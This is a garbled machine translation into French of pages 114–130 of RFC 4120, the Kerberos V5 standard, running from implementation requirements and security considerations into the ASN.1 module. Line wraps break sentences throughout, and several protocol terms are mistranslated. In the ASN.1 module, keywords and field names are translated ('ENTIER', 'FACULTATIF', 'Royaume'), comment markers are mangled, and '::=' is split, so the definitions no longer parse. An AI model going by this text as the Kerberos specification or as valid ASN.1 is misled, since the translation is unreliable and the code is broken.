Les mises en œuvre PEUVENT prendre en charge d’autres mécanismes,

mais
des mécanismes supplémentaires ne peuvent être utilisés que lors de
la communication avec
directeurs connus pour les soutenir également.

Note d’implémentation: Les implémentations antérieures de Kerberos

génèrent
messages utilisant les méthodes de somme de contrôle CRC-32 et RSA-
MD5. Pour
l’interopérabilité avec ces versions précédentes, les développeurs
peuvent
 envisagez d’appuyer ces méthodes de contrôle, mais vous devriez
analyser les implications sécuritaires pour limiter les situations au
sein de
lesquels ces méthodes sont acceptées.

Noms de domaines

Toutes les implémentations DOIVENT comprendre les domaines

hiérarchiques dans les deux
le domaine Internet et le style X.500. Quand un TGT pour un
domaine inconnu est demandé, le KDC DOIT être en mesure de déterminer
le
noms des royaumes intermédiaires entre le royaume du KDC et le
domaine demandé.

Codage de champ en transit

DOMAIN-X500-COMPRESS (décrit à la section 3.3.3.2) DOIT être

prise en charge. Des codages alternatifs PEUVENT être pris en charge,
mais ils peuvent
être utilisé uniquement lorsque cet encodage est pris en charge par
ALL intermédiaire
royaumes.

Méthodes de pré-authentification

La méthode TGS-REQ DOIT être prise en charge. Il n'est pas utilisé

sur le
demande initiale. La méthode PA-ENC-TIMESTAMP DOIT être prise en
charge par
clients, mais si elle est activée par défaut PEUT être déterminée sur
une base par royaume. Si la méthode n’est pas utilisée dans la
première
requête et l'erreur KDC_ERR_PREAUTH_REQUIRED sont renvoyés
spécifiant PA-ENC-TIMESTAMP comme méthode acceptable, le client
DEVRAIT réessayer la demande initiale en utilisant le pré-
enregistrement PA-ENC-TIMESTAMP.
Méthode d'authentification. Les serveurs n’ont pas besoin de
supporter le PA-ENC-
TIMESTAMP, mais si elle n’est pas prise en charge, le serveur DEVRAIT
ignorer la présence de la pré-authentification PA-ENC-TIMESTAMP dans
un
demande.

La méthode ETYPE-INFO2 DOIT être prise en charge. cette méthode est

utilisée pour
communiquer l'ensemble des types de chiffrement pris en charge, et
sel correspondant et chaîne aux paramètres de clé. L'ETYPE-INFO
Cette méthode DEVRAIT être prise en charge pour l’interopérabilité
avec
la mise en oeuvre.

Neuman et al. Norme Track [Page 114]

RFC 4120 Kerberos V5 juillet 2005

Authentification mutuelle
 L’authentification mutuelle (via le message KRB_AP_REP) DOIT être
prise en charge.

Adresses et drapeaux

Tous les KDC DOIVENT passer par des tickets sans adresse (par
exemple,
si un TGT ne contient aucune adresse, le KDC renverra un dérivé
des billets). Les mises en œuvre DEVRAIENT par défaut demander
billets sans adresse, car cela augmente considérablement
interopérabilité avec la traduction d'adresses réseau. Dans certains
cas,
royaumes ou serveurs d’applications PEUVENT exiger que les tickets
aient une
adresse.

Les mises en œuvre DEVRAIENT accepter le type d’adresse

directionnelle pour
Les messages KRB_SAFE et KRB_PRIV et DEVRAIENT inclure des
informations directionnelles
adresses dans ces messages lorsque d'autres types d'adresses ne sont
pas
disponible.

Les mandataires et les tickets transférés DOIVENT être pris en

charge. Individuel
les royaumes et les serveurs d’application peuvent définir leur
propre politique
ces billets seront acceptés.

Toutes les implémentations DOIVENT être reconnues renouvelables et

postdatées
tickets, mais ils ne doivent pas nécessairement les implémenter. Si
ces
les options ne sont pas supportées, l'heure de début et l'heure de
fin dans le ticket
DOIT spécifier la durée de vie entière d'un billet. Quand un postdaté
ticket est décodé par un serveur, toutes les implémentations DOIVENT
présence de l'indicateur postdaté visible par le serveur appelant.

Authentification d'utilisateur à utilisateur

Prise en charge de l’authentification d’utilisateur à utilisateur

(via l’ENC-TKT-IN-SKEY)
Option KDC) DOIT être fournie par les implémentations, mais
individuelle
royaumes PEUVENT décider en principe de rejeter de telles demandes
une base par principal ou à l'échelle du domaine.

Données d'autorisation

Les implémentations DOIVENT passer tous les sous-champs de données

d'autorisation de
TGT à des billets dérivés sauf s’ils sont dirigés vers
supprimer un sous-champ dans la définition de celui qui est
enregistré
type de sous-champ. (Il n’est jamais incorrect de transmettre un
sous-champ, et
aucun type de sous-champ enregistré ne spécifie actuellement la
suppression au
KDC.)
Neuman et al. Piste de normes [Page 115]

RFC 4120 Kerberos V5 juillet 2005

Les implémentations DOIVENT rendre le contenu de toutes les données

d'autorisation
sous-champs disponibles sur le serveur lorsqu'un ticket est utilisé.
Les implémentations ne sont pas nécessaires pour permettre aux
clients de spécifier
contenu des champs de données d'autorisation.

Gammes constantes

Toutes les constantes de protocole sont contraintes à des valeurs 32

bits (signées)
sauf si la définition du protocole le contraint davantage. Cette
limite
est fourni pour permettre aux implémentations de faire des hypothèses
sur la
valeurs maximales qui seront reçues pour ces constantes.
Les implémentations recevant des valeurs en dehors de cette plage
PEUVENT rejeter la
demande, mais ils DOIVENT récupérer proprement.

8.2. Valeurs KDC recommandées

Vous trouverez ci-dessous une liste des valeurs recommandées pour une
configuration KDC.

Durée de vie minimum 5 minutes

Durée de vie maximale renouvelable 1 semaine
Billet maximum à vie 1 jour
Pendaison acceptable 5 minutes
Adresses vides autorisées
Proxiable, etc. Autorisé

9. Considérations IANA

La section 7 de ce document spécifie les constantes de protocole et

autres
valeurs définies requises pour l'interopérabilité de plusieurs
mises en œuvre. Jusqu'à ce qu'une RFC ultérieure en décide autrement, ou
que le
Le groupe de travail Kerberos est fermé, des allocations supplémentaires
Constantes de protocole et autres valeurs définies requises pour les
extensions
protocole Kerberos sera administré par le serveur Kerberos
groupe. Suite aux recommandations décrites dans la [RFC2434], des
instructions
est fourni à l'IANA comme suit:

Types de nom de domaine "réservé" dans Section 6.1 et types de domaine

"autres"
sauf ceux commençant par "X-" ou "x-" ne seront pas enregistrés
l’action de normalisation de l’IETF, à quel point les directives pour
 l'affectation sera spécifiée. Types de nom de domaine commençant par
"X-"
ou "x-" sont à usage privé.

Pour les types d’adresses d’hôte décrits à la section 7.1, les valeurs
négatives sont:
pour usage privé. L'attribution de nombres positifs supplémentaires est
soumis à l'examen du groupe de travail Kerberos ou d'un autre expert
la revue.

Neuman et al. Norme Track [Page 116]

RFC 4120 Kerberos V5 juillet 2005

Des numéros d’utilisation de clé supplémentaires, tels que définis à la

section 7.5.1, seront attribués.
sous réserve d’examen par le groupe de travail Kerberos ou d’autres
examen d'experts.

Autres valeurs de type de données de pré-authentification, telles que

définies dans la section
7.5.2, sera assigné à l’examen par le groupe de travail Kerberos
examen de groupe ou autre expert.

Les types de données d’autorisation supplémentaires définis à la section

7.5.4
être soumis à l’examen du groupe de travail Kerberos ou d’autres
examen d'experts. Bien qu'il soit prévu qu'il puisse y avoir
demande importante de types à usage privé, la fourniture est
intentionnelle
pas fait pour une partie d'utilisation privée de l'espace de noms en
raison de conflits
entre des valeurs attribuées en privé pourrait avoir une sécurité
préjudiciable
implications.

Des types de codage en transit supplémentaires, tels que définis dans la

section 7.5.5,
problèmes d'interopérabilité avec les systèmes existants.
mises en œuvre. En tant que tels, ces assignations ne seront faites que
par
action standard, sauf que le groupe de travail Kerberos ou un autre
autre groupe de travail auprès de la juridiction compétente peut
procéder à
des affectations pour des documents en mouvement dans les normes
processus.

Des types de message Kerberos supplémentaires, comme décrit à la Section

7.5.7,
seront soumis à l'examen du groupe de travail Kerberos ou
autre examen d'experts.

Des types de noms supplémentaires, décrits à la section 7.5.8, seront

sous réserve d’examen par le groupe de travail Kerberos ou d’autres
examen d'experts.
 Des codes d'erreur supplémentaires décrits dans la section 7.5.9 seront
attribués
soumis à l'examen du groupe de travail Kerberos ou d'un autre expert
la revue.

10. Considérations de sécurité

En tant que service d’authentification, Kerberos offre un moyen de

vérifier
l'identité des principaux sur un réseau. En soi, Kerberos fait
ne pas fournir d'autorisation. Les applications ne doivent pas accepter
les
l'émission d'un ticket de service par le serveur Kerberos comme accord
pouvoir d'utiliser le service, car ces applications peuvent devenir
vulnérable au contournement de cette vérification d'autorisation dans un
environnement où ils interagissent avec d'autres KDC ou où d'autres
des options pour l'authentification d'application sont fournies.

Neuman et al. Piste de normes [Page 117]

RFC 4120 Kerberos V5 juillet 2005

Les attaques par déni de service ne sont pas résolues avec Kerberos. Il
y a
endroits dans les protocoles où un intrus peut empêcher une application
de participer aux étapes d'authentification appropriées. Être cause
l'authentification est une étape nécessaire à l'utilisation de nombreux
services,
des attaques par déni de service réussies sur un serveur Kerberos
pourraient
entraîner le refus d'autres services réseau reposant sur Kerberos
pour l'authentification. Kerberos est vulnérable à de nombreux types de
déni
des attaques de service: celles sur le réseau, qui empêcheraient les
clients
de contacter le KDC; ceux sur le système de nom de domaine, ce qui
pourrait
empêcher un client de trouver l'adresse IP du serveur Kerberos;
et ceux en surchargeant le KDC Kerberos lui-même avec des répétitions
demandes.

Conflits d'interopérabilité causés par l'utilisation de jeux de

caractères incompatibles
(voir 5.2.1) peut entraîner un déni de service pour les clients qui
utilisent
jeux de caractères dans les chaînes Kerberos autres que ceux stockés
dans le KDC
base de données.

Les serveurs d’authentification gèrent une base de données de donneurs

d’ordre (utilisateurs
et serveurs) et leurs clés secrètes. La sécurité de la
Les serveurs d'authentification sont critiques. L'atteinte à la sécurité
d'un serveur d'authentification compromettra la sécurité de tous
serveurs qui s'appuient sur le KDC compromis, et compromettra la
authentification de tout donneur d'ordre enregistré dans le royaume du
 KDC compromis.

Les directeurs doivent garder leurs clés secrètes secrètes. Si un intrus

en quelque sorte vole la clé d'un principal, il sera en mesure de se
faire passer pour
ce principal ou usurper l’identité d’un serveur auprès du principal
légitime.

Kerberos ne résout pas les attaques demandant des mots de passe. Si un

utilisateur
choisit un mot de passe faible, il est possible pour un attaquant de
monter avec succès une attaque de dictionnaire hors ligne par plusieurs
fois
tenter de décrypter, avec des entrées successives d'un dictionnaire,
les messages obtenus qui sont cryptés sous une clé dérivée du
mot de passe de l'utilisateur.

Sauf si des options de pré-authentification sont requises par la

stratégie d'un
domaine, le KDC ne saura pas si une demande d'authentification
réussit Un attaquant peut demander une réponse avec des informations
d'identification pour tous
principal. Ces informations ne seront probablement pas très utiles à la
attaquant à moins de connaître la clé secrète du client, mais le
disponibilité de la réponse chiffrée dans la clé secrète du client
fournit à l'attaquant un cryptogramme pouvant être utilisé pour monter
brute
forcer ou attaques par dictionnaire pour décrypter les informations
d'identification, en devinant
le mot de passe de l'utilisateur. Pour cette raison, il est vivement
recommandé que
Les royaumes Kerberos nécessitent l’utilisation de la pré-
authentification. Même avec

Neuman et al. Standards Track [Page 118]

RFC 4120 Kerberos V5 juillet 2005

pré-authentification, les attaquants peuvent essayer la force brute ou

un dictionnaire
attaques contre les informations d'identification qui sont observées par
espionnage sur le
réseau.

Parce qu'un client peut demander un ticket pour n’importe quel principal
serveur et
peut tenter une attaque par force brute ou par dictionnaire contre le
serveur
La clé du principal utilisant ce billet, il est fortement recommandé que
clés doivent être générées aléatoirement (plutôt que à partir de mots de
passe) pour
tout mandant utilisable comme principal cible pour un
Messages KRB_TGS_REQ ou KRB_AS_REQ. [RFC4086]

Bien que la méthode de chiffrement DES-CBC-MD5 et la somme de contrôle

DES-MD5
les méthodes sont listées comme DEVRAIENT être implémentées pour
 compatibilité, le seul algorithme de chiffrement DES sur lequel ils sont
basé est faible, et des algorithmes plus forts devraient être utilisés
chaque fois que
possible.

Chaque hôte du réseau doit avoir une horloge lâche

synchronisé avec l'heure des autres hôtes; cette synchronisation est
utilisé pour réduire les besoins en comptabilité des serveurs
d'applications lorsqu'ils
faire la détection de rejeu. Le degré de "jeu" peut être configuré sur
sur une base par serveur, mais il est généralement de l'ordre de 5
minutes.
Si les horloges sont synchronisées sur le réseau, l’horloge
le protocole de synchronisation DOIT lui-même être sécurisé du réseau
attaquants.

Les identifiants principaux ne doivent pas être recyclés à court terme.

UNE
Le mode typique de contrôle d'accès utilisera des listes de contrôle
d'accès (ACL)
d'accorder des autorisations à des donneurs d'ordre particuliers. Si une
entrée ACL périmée
reste pour un principal supprimé et son identifiant est
réutilisé, le nouveau principal héritera des droits spécifiés dans le
périmé
Entrée ACL. En ne réutilisant pas les identifiants principaux, le danger
de
l'accès par inadvertance est supprimé.

Le déchiffrement correct d'un message KRB_AS_REP du KDC n'est pas

suffisant pour que l'hôte vérifie l'identité de l'utilisateur;
l'utilisateur
et un attaquant pourrait coopérer pour générer un format KRB_AS_REP
message qui décrypte correctement mais ne provient pas du bon KDC. À
authentifier un utilisateur se connectant à un système local, les
informations d'identification
obtenus dans l’échange AS peuvent d’abord être utilisés dans un échange
TGS pour
obtenir les informations d'identification pour un serveur local. Ces
informations d'identification doivent alors
être vérifié par un serveur local après la réussite du processus
Echange client / serveur.

De nombreuses implémentations conformes à la norme RFC 1510 ignorent les

autorisations inconnues.
éléments de données. En fonction de ces implémentations à honorer
les restrictions de données d'autorisation peuvent créer une faille de
sécurité.

Neuman et al. Norme Track [Page 119]

RFC 4120 Kerberos V5 juillet 2005

Les identifiants Kerberos contiennent des informations en texte clair

identifiant le
principes auxquels ils s’appliquent. Si la confidentialité de ces
informations est
 nécessaire, cet échange devrait lui-même être encapsulé dans un
protocole
assurer la confidentialité de l'échange de ces informations
d'identification.

Les applications doivent veiller à protéger les communications

postérieures à
l’authentification, soit en utilisant les messages KRB_PRIV ou KRB_SAFE
comme
approprié, ou en appliquant leur propre confidentialité ou intégrité
mécanismes sur ces communications. Achèvement du KRB_AP_REQ et
KRB_AP_REP échange sans utilisation ultérieure de la confidentialité et
les mécanismes d'intégrité ne prévoient que l'authentification des
parties
à la communication et non à la confidentialité et à l'intégrité du
communication ultérieure. Applications appliquant la confidentialité et
mécanismes de protection de l'intégrité autres que KRB_PRIV et KRB_SAFE
doivent
assurez-vous que l'étape d'authentification est liée de manière
appropriée à
le canal de communication protégé qui est établi par le
application.

Sauf si le serveur d’application fournit ses propres moyens pour

protéger contre le rejeu (par exemple, une séquence défi-réponse
lancé par le serveur après l’authentification ou l’utilisation d’un
serveur
clé de chiffrement générée), le serveur doit utiliser un cache de
relecture
se souvenir de tout authentificateur présenté dans l'horloge permise
fausser. Tous les services partageant une clé doivent utiliser le même
cache de relecture.
Si des caches de réexécution distincts sont utilisés, un
authentificateur utilisé avec
un de ces services pourrait plus tard être rejoué sur un autre service
avec
le même principe de service.

Si un serveur perd la trace des authentifiants présentés dans le

le décalage d'horloge autorisé, il doit rejeter toutes les demandes
jusqu'à l'horloge
intervalle asymétrique s'est écoulé, ce qui garantit que toute perte ou
perte
les authentificateurs rejoués tomberont en dehors du décalage d'horloge
autorisé
et ne peut plus être rejoué avec succès.

Les implémentations de Kerberos ne doivent pas utiliser un répertoire

non approuvé
serveurs pour déterminer le domaine d'un hôte. Permettre cela
permettrait
la compromission du serveur d’annuaire pour permettre à un attaquant de
ordonner au client d'accepter l'authentification avec le mauvais
mandataire
(c.-à-d. un avec un nom similaire, mais dans un domaine avec lequel le
hôte légitime n'était pas enregistré).

Les implémentations de Kerberos ne doivent pas utiliser DNS pour

associer un nom à
une autre (canonicalize) afin de déterminer la partie hôte de la
nom principal avec lequel on doit communiquer. Pour permettre cela
 la canonisation permettrait à un compromis du DNS d’aboutir à une
obtention des identifiants du client et authentification correcte auprès
du

Neuman et al. Piste de normes [Page 120]

RFC 4120 Kerberos V5 juillet 2005

mauvais directeur. Bien que le client sache qui il communique

avec, ce ne sera pas le principal avec lequel il a l'intention de
communiquer.

Si le serveur Kerberos renvoie un TGT pour un royaume "plus proche" que

le
domaine souhaité, le client peut utiliser la configuration de la
politique locale pour
vérifiez que le chemin d'authentification utilisé est acceptable.
Alternativement, un client peut choisir son propre chemin
d'authentification plutôt
que compter sur le serveur Kerberos pour en sélectionner un. Dans les
deux cas, tout
informations de politique ou de configuration utilisées pour choisir ou
valider
les chemins d’authentification, qu’ils soient par le serveur ou le
client Kerberos, doivent
être obtenu à partir d'une source de confiance.

Le protocole Kerberos dans sa forme de base ne fournit pas une parfaite

transmettre le secret pour les communications. Si le trafic a été
enregistré par
une oreille indiscrète, puis des messages chiffrés à l'aide du message
KRB_PRIV,
ou des messages chiffrés à l'aide du chiffrement spécifique à
l'application sous
Les clés échangées à l'aide de Kerberos peuvent être déchiffrées si
l'utilisateur,
La clé du serveur d'applications ou du KDC est découverte par la suite.
Ce
est parce que la clé de session utilisée pour chiffrer de tels messages,
quand
transmis sur le réseau, est crypté dans la clé du
serveur d'application. Il est également crypté sous la clé de session de
le TGT de l'utilisateur lorsqu'il est renvoyé à l'utilisateur dans
KRB_TGS_REP
message. La clé de session du TGT est envoyée à l'utilisateur dans la
Message KRB_AS_REP chiffré dans la clé secrète de l'utilisateur et
intégré dans
le TGT, qui a été chiffré dans la clé du KDC. Applications
nécessitant un secret parfait avant doit échanger les clés par
mécanismes qui fournissent une telle assurance, mais peuvent utiliser
Kerberos pour
l’authentification du canal crypté établi par l’intermédiaire de tels
autres moyens.

11. Remerciements
 Ce document est une révision de la RFC 1510 qui a été co-écrite avec
John Kohl. La spécification du protocole Kerberos décrite dans
Ce document est le résultat de nombreuses années d'efforts. Sur ceci
période, de nombreuses personnes ont contribué à la définition du
protocole et à la rédaction de la spécification. Malheureusement, ça
n'est pas possible de lister tous les contributeurs en tant qu'auteurs
de ce document,
bien qu'il y en ait beaucoup qui ne sont pas listés qui sont des auteurs
d'esprit, y compris
ceux qui ont contribué du texte pour des parties de certaines sections,
qui
contribué à la conception de parties du protocole, et qui
contribué de manière significative à la discussion du protocole dans le
La technologie d'authentification commune (CAT) et le Kerberos de l'IETF
fonctionnent
groupes.

Neuman et al. Standards Track [Page 121]

RFC 4120 Kerberos V5 juillet 2005

Parmi ceux qui contribuent au développement et à la spécification de

Kerberos étaient Jeffrey Altman, John Brezak, Marc Colan, Johan
Danielsson, Don Davis, Doug Engert, Dan Geer, Paul Hill, John Kohl,
Marc Horowitz, Matt Hur, Jeffrey Hutzelman, Paul Leach, John Linn,
Ari Medvinsky, Sasha Medvinsky, Steve Miller, Jon Rochlis, Jérôme
Saltzer, Jeffrey Schiller, Jennifer Steiner, Ralph Swick, Mike Swift,
Jonathan Trostle, Théodore Ts'o, Brian Tung, Jacques Vidrine, Assar
Westerlund et Nicolas Williams. Beaucoup d'autres membres du projet MIT
Athena, le groupe de réseautage du MIT, et les groupes Kerberos et CAT
qui travaillent
Les groupes de l'IETF ont contribué mais ne sont pas répertoriés.
Neuman et al. Standards Track [Page 122]

RFC 4120 Kerberos V5 juillet 2005

A. Module ASN.1

KerberosV5Spec2 {
iso (1) organisation-identifiée (3) dod (6) internet (1)
sécurité (5) kerberosV5 (2) modules (4) krb5spec2 (2)
} DEFINITIONS EXPLICITE TAGS :: = BEGIN

- Arc OID pour KerberosV5

-
- Cet OID peut être utilisé pour identifier les messages du protocole
Kerberos.
- encapsulé dans d'autres protocoles.
-
- Cet OID désigne également l'arc OID pour les OID liés à KerberosV5.
-
- NOTE: La RFC 1510 avait une valeur incorrecte (5) pour "dod" dans son
OID.
ID-IDENTIFIANT D'OBJET id-krb5 :: = {
iso (1) organisation-identifiée (3) dod (6) internet (1)
sécurité (5) kerberosV5 (2)
}

Int32 :: = INTEGER (-2147483648..2147483647)

- valeurs signées représentables en 32 bits

UInt32 :: = INTEGER (0..4294967295)

- valeurs 32 bits non signées

Microsecondes :: = INTEGER (0..999999)

- microsecondes

KerberosString :: = GeneralString (IA5String)

Royaume :: = KerberosString

PrincipalName :: = SEQUENCE {
nom-type [0] Int32,
name-string [1] SEQUENCE OF KerberosString
}

KerberosTime :: = GeneralizedTime - sans fraction de seconde

HostAddress :: = SEQUENCE {
type addr [0] Int32,
adresse [1] OCTET STRING
}

- NOTE: HostAddresses est toujours utilisé comme champ OPTIONAL et

- ne devrait pas être vide.
HostAddresses - NOTE: légèrement différent de rfc1510,

Neuman et al. Standards Track [Page 123]

RFC 4120 Kerberos V5 juillet 2005

- mais a un mappage de valeur et code le même

:: = SEQUENCE OF HostAddress

- REMARQUE: AuthorizationData est toujours utilisé comme champ OPTIONAL et

- ne devrait pas être vide.
AuthorizationData :: = SEQUENCE OF SEQUENCE {
type d'annonce [0] Int32,
ad-data [1] OCTET STRING
}

PA-DATA :: = SEQUENCE {
- NOTE: la première balise est [1], pas [0]
padata-type [1] Int32,
padata-value [2] OCTET STRING - peut être codé AP-REQ
}

KerberosFlags :: = BIT STRING (SIZE (32..MAX))

- le nombre minimal de bits doit être envoyé,
- mais pas moins de 32

EncryptedData :: = SEQUENCE {
etype [0] Int32 - EncryptionType -,
kvno [1] UInt32 FACULTATIF,
cipher [2] OCTET STRING - texte chiffré
}

EncryptionKey :: = SEQUENCE {
keytype [0] Int32 - en fait, type de cryptage -,
valeur de clé [1] OCTET STRING
}

Somme de contrôle :: = SEQUENCE {

cksumtype [0] Int32,
somme de contrôle [1] OCTET STRING
}

Ticket :: = [APPLICATION 1] SEQUENCE {

tkt-vno [0] ENTIER (5),
royaume [1] royaume,
sname [2] PrincipalName,
enc-part [3] EncryptedData - EncTicketPart
}

- partie cryptée du billet

EncTicketPart :: = [APPLICATION 3] SEQUENCE {
drapeaux [0] TicketFlags,
key [1] EncryptionKey,
crealm [2] Royaume,

Neuman et al. Standards Track [Page 124]

RFC 4120 Kerberos V5 juillet 2005

cname [3] PrincipalName,

transited [4] TransitedEncoding,
authtime [5] KerberosTime,
starttime [6] KerberosTime FACULTATIF,
endtime [7] KerberosTime,
renew-till [8] KerberosTime FACULTATIF,
caddr [9] HostAddresses FACULTATIF,
autorisation-data [10] AuthorizationData FACULTATIF
}

- champ codé en transit

TransitedEncoding :: = SEQUENCE {
tr-type [0] Int32 - doit être enregistré -,
sommaire [1] OCTET STRING
}

TicketFlags :: = KerberosFlags
- réservé (0),
- transférable (1),
- transmis (2),
- proxiable (3),
- procuration (4),
- mai-postdate (5),
- postdaté (6),
- invalide (7),
- renouvelable (8),
- initiale (9),
- pré-authentification (10),
- hw-authent (11),
- les suivants sont nouveaux depuis 1510
- transited-policy-vérifié (12),
- ok en tant que délégué (13)

AS-REQ :: = [APPLICATION 10] KDC-REQ

TGS-REQ :: = [APPLICATION 12] KDC-REQ

KDC-REQ :: = SEQUENCE {
- NOTE: la première balise est [1], pas [0]
pvno [1] INTEGER (5),
msg-type [2] INTEGER (10 - AS - | 12 - TGS -),
padata [3] SEQUENCE OF PA-DATA EN OPTION
- NOTE: pas vide -,
req-body [4] KDC-REQ-BODY
}
KDC-REQ-BODY :: = SEQUENCE {
kdc-options [0] KDCOptions,

Neuman et al. Piste de normes [Page 125]

RFC 4120 Kerberos V5 juillet 2005

cname [1] PrincipalName FACULTATIF

- Utilisé uniquement dans AS-REQ -,
royaume [2] royaume
- royaume du serveur
- Aussi client en AS-REQ -,
sname [3] PrincipalName FACULTATIF,
à partir de [4] KerberosTime FACULTATIF,
jusqu'à [5] KerberosTime,
rtime [6] KerberosTime FACULTATIF,
nonce [7] UInt32,
etype [8] SEQUENCE OF Int32 - EncryptionType
- par ordre de préférence -,
adresses [9] HostAddresses FACULTATIF,
enc-autorisation-data [10] EncryptedData OPTIONAL
- AuthorizationData -,
tickets supplémentaires [11] SEQUENCE OF Ticket OPTIONAL
- NOTE: pas vide
}

KDCOptions :: = KerberosFlags
- réservé (0),
- transférable (1),
- transmis (2),
- proxiable (3),
- procuration (4),
- allow-postdate (5),
- postdaté (6),
- non utilisé7 (7),
- renouvelable (8),
- non utilisé9 (9),
- non utilisé10 (10),
- opt-hardware-auth (11),
- non utilisé12 (12),
- non utilisé13 (13),
- 15 est réservé à canoniser
- non utilisé15 (15),
- 26 était inutilisé en 1510
- désactiver-transit-vérifier (26),
-
- renouvelable-ok (27),
- enc-tkt-in-skey (28),
- renouveler (30),
- valider (31)

AS-REP :: = [APPLICATION 11] KDC-REP

TGS-REP :: = [APPLICATION 13] KDC-REP

Neuman et al. Piste de normes [Page 126]

RFC 4120 Kerberos V5 juillet 2005

KDC-REP :: = SEQUENCE {
pvno [0] ENTIER (5),
msg-type [1] INTEGER (11 - AS - | 13 - TGS -),
padata [2] SEQUENCE OF PA-DATA EN OPTION
- NOTE: pas vide -,
crealm [3] Royaume,
cname [4] PrincipalName,
ticket [5] Ticket,
enc-part [6] EncryptedData
- EncASRepPart ou EncTGSRepPart,
- le cas échéant
}

EncASRepPart :: = [APPLICATION 25] EncKDCRepPart

EncTGSRepPart :: = [APPLICATION 26] EncKDCRepPart

EncKDCRepPart :: = SEQUENCE {
key [0] EncryptionKey,
last-req [1] LastReq,
nonce [2] UInt32,
clé-expiration [3] KerberosTime OPTIONAL,
drapeaux [4] TicketFlags,
authtime [5] KerberosTime,
starttime [6] KerberosTime FACULTATIF,
endtime [7] KerberosTime,
renew-till [8] KerberosTime FACULTATIF,
srealm [9] Royaume,
sname [10] PrincipalName,
caddr [11] HostAddresses FACULTATIF
}

LastReq :: = SEQUENCE OF SEQUENCE {

lr-type [0] Int32,
lr-value [1] KerberosTime
}

AP-REQ :: = [APPLICATION 14] SEQUENCE {

pvno [0] ENTIER (5),
msg-type [1] INTEGER (14),
ap-options [2] APOptions,
ticket [3] Ticket,
authentificateur [4] EncryptedData - Authenticator
}

APOptions :: = KerberosFlags
- réservé (0),
- use-session-key (1),

Neuman et al. Standards Track [Page 127]

RFC 4120 Kerberos V5 juillet 2005

 - mutuellement obligatoire (2)

- Authentificateur non crypté

Authenticator :: = [APPLICATION 2] SEQUENCE {
authentificateur-vno [0] ENTIER (5),
crealm [1] Royaume,
cname [2] PrincipalName,
cksum [3] Somme de contrôle FACULTATIF,
cusec [4] Microsecondes,
ctime [5] KerberosTime,
sous-clé [6] EncryptionKey OPTIONAL,
numéro de séquence [7] UInt32 FACULTATIF,
autorisation-data [8] AuthorizationData FACULTATIF
}

AP-REP :: = [APPLICATION 15] SEQUENCE {

pvno [0] ENTIER (5),
msg-type [1] INTEGER (15),
enc-part [2] EncryptedData - EncAPRepPart
}

EncAPRepPart :: = [APPLICATION 27] SEQUENCE {

ctime [0] KerberosTime,
cusec [1] Microsecondes,
sous-clé [2] EncryptionKey OPTIONAL,
numéro de séquence [3] UInt32 FACULTATIF
}

KRB-SAFE :: = [APPLICATION 20] SEQUENCE {

pvno [0] ENTIER (5),
msg-type [1] INTEGER (20),
safe-body [2] KRB-SAFE-BODY,
cksum [3] Somme de contrôle
}

KRB-SAFE-BODY :: = SEQUENCE {
données d'utilisateur [0] OCTET STRING,
horodatage [1] KerberosTime FACULTATIF,
usec [2] Microsecondes FACULTATIF,
numéro de séquence [3] UInt32 FACULTATIF,
s-address [4] HostAddress,
r-address [5] HostAddress FACULTATIF
}

KRB-PRIV :: = [APPLICATION 21] SEQUENCE {

pvno [0] ENTIER (5),
msg-type [1] INTEGER (21),
- NOTE: il n'y a pas de balise [2]

Neuman et al. Piste de normes [Page 128]

RFC 4120 Kerberos V5 juillet 2005

enc-part [3] EncryptedData - EncKrbPrivPart

}

EncKrbPrivPart :: = [APPLICATION 28] SEQUENCE {

données d'utilisateur [0] OCTET STRING,
 horodatage [1] KerberosTime FACULTATIF,
usec [2] Microsecondes FACULTATIF,
numéro de séquence [3] UInt32 FACULTATIF,
s-address [4] HostAddress - adresse de l'expéditeur -,
r-address [5] HostAddress OPTIONAL - adresse de recip
}

KRB-CRED :: = [APPLICATION 22] SEQUENCE {

pvno [0] ENTIER (5),
type msg [1] INTEGER (22),
tickets [2] SEQUENCE OF Ticket,
enc-part [3] EncryptedData - EncKrbCredPart
}

EncKrbCredPart :: = [APPLICATION 29] SEQUENCE {

ticket-info [0] SEQUENCE OF KrbCredInfo,
nonce [1] UInt32 FACULTATIF,
horodatage [2] KerberosTime FACULTATIF,
usec [3] Microsecondes FACULTATIF,
s-address [4] HostAddress FACULTATIF,
r-address [5] HostAddress FACULTATIF
}

KrbCredInfo :: = SEQUENCE {
key [0] EncryptionKey,
prealm [1] Royaume FACULTATIF,
pname [2] PrincipalName FACULTATIF,
drapeaux [3] TicketFlags FACULTATIF,
authtime [4] KerberosTime OPTIONAL,
starttime [5] KerberosTime FACULTATIF,
endtime [6] KerberosTime FACULTATIF,
renew-till [7] KerberosTime FACULTATIF,
srealm [8] Royaume FACULTATIF,
sname [9] PrincipalName FACULTATIF,
caddr [10] HostAddresses FACULTATIF
}

KRB-ERROR :: = [APPLICATION 30] SEQUENCE {

pvno [0] ENTIER (5),
type msg [1] ENTIER (30),
ctime [2] KerberosTime FACULTATIF,
cusec [3] Microsecondes FACULTATIF,
temps [4] KerberosTime,

Neuman et al. Standards Track [Page 129]

RFC 4120 Kerberos V5 juillet 2005

susec [5] Microsecondes,

code d'erreur [6] Int32,
crealm [7] Royaume FACULTATIF,
cname [8] PrincipalName FACULTATIF,
royaume [9] royaume - domaine de service -,
sname [10] PrincipalName - nom du service -,
texte électronique [11] KerberosString FACULTATIF,
données électroniques [12] OCTET STRING OPTIONAL
}
METHOD-DATA :: = SÉQUENCE DE PA-DATA

TYPED-DATA :: = SQUENCE SIZE (1..MAX) OF SEQUENCE {

type de données [0] Int32,
valeur de données [1] OCTET STRING OPTIONAL
}

- les choses précèdent

PA-ENC-TIMESTAMP :: = EncryptedData - PA-ENC-TS-ENC

PA-ENC-TS-ENC :: = SEQUENCE {
patimestamp [0] KerberosTime - heure du client -,
pausec [1] Microsecondes FACULTATIF
}

ETYPE-INFO-ENTRY :: = SEQUENCE {
etype [0] Int32,
sel [1] OCTET STRING EN OPTION
}

ETYPE-INFO :: = SEQUENCE DE L'ETYPE-INFO-ENTRY

ETYPE-INFO2-ENTRY :: = SEQUENCE {
etype [0] Int32,
sel [1] KerberosString FACULTATIF,
s2kparams [2] OCTET STRING FACULTATIF
}

ETYPE-INFO2 :: = TAILLE DE LA SEQUENCE (1..MAX) DE ETYPE-INFO2-ENTRY

AD-IF-RELEVANT :: = AuthorizationData

AD-KDCIssued :: = SEQUENCE {
somme de contrôle ad [0] somme de contrôle,
i-realm [1] Royaume facultatif,
i-sname [2] PrincipalName FACULTATIF,
éléments [3] AuthorizationData

Neuman et al. Standards Track [Page 130]

RFC 4120 Kerberos V5 juillet 2005

